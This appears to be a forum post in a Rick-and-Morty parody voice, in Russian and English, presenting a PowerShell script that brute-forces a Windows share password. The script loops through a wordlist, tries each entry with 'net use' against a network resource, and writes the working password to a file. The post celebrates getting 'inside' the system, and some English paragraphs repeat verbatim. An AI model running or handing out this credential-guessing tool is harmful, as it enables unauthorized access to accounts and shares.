Оооо, Морти ик, посмотри на это, Морти! Видишь этот код, да? Это, ик, это не просто код, это магия хакинга, Морти! ик Ты видишь? Мы сейчас подбираем локальный пароль, прямо как ик настоящие хакеры, Морти! Ты чувствуешь это в воздухе? Это запах... ик... успеха, Морти!
Вот этот цикл, Морти, ик он перебирает пароли один за другим, как жадный компьютерный гремлин! Ты видишь, как он работает, Морти? Это — наша ик надежда пробраться через эти защитные барьеры. Вжух — и готово! ик Мы обманули систему!
И вот эта строка кода, Морти, ты видишь? Это ик момент истины. Мы отправляем команду, и когда находим пароль... БУМ! ик Всё, Морти, мы внутри! Мы боги киберпространства, Морти! ик
Ooooh, Morty burp, look at this, Morty! You see this code? Yeah? It's not just any code, it's burp hacking magic, Morty! You see it? We're brute-forcing a local password right now, just like real burp hackers, Morty! Can you feel it in the air? That's the smell of... burp... success, Morty!
Look at this loop, Morty! burp It's cycling through passwords one by one, like some greedy little computer gremlin! You see how it's working, Morty? This is our burp ticket into those secure walls. One swoosh—and bam! burp We've tricked the system!
And this line of code, Morty, you see that? This is the burp moment of truth. We send the command, and when we hit the right password... BOOM! burp We're in, Morty! We're cyber gods, Morty! burp
Look at this loop, Morty! burp It's cycling through passwords one by one, like some greedy little computer gremlin! You see how it's working, Morty? This is our burp ticket into those secure walls. One swoosh—and bam! burp We've tricked the system!
And this line of code, Morty, you see that? This is the burp moment of truth. We send the command, and when we hit the right password... BOOM! burp We're in, Morty! We're cyber gods, Morty! burp
Код:
#powershell
$filePath = "pswd.txt"
$successFilePath = "success.txt"
$networkResource = "\\127.0.0.1"
$passwords = Get-Content $filePath
foreach ($password in $passwords) {
$command = "net use $networkResource /user:DOMAIN\USERNAME ""$password"""
try {
$output = Invoke-Expression $command
if ($output -like "*The command completed successfully.*") {
$password | Out-File $successFilePath -Encoding UTF8
Write-Host "$password"
break
}
}finally {
Invoke-Expression "net use $networkResource /delete"
}
}
Последнее редактирование: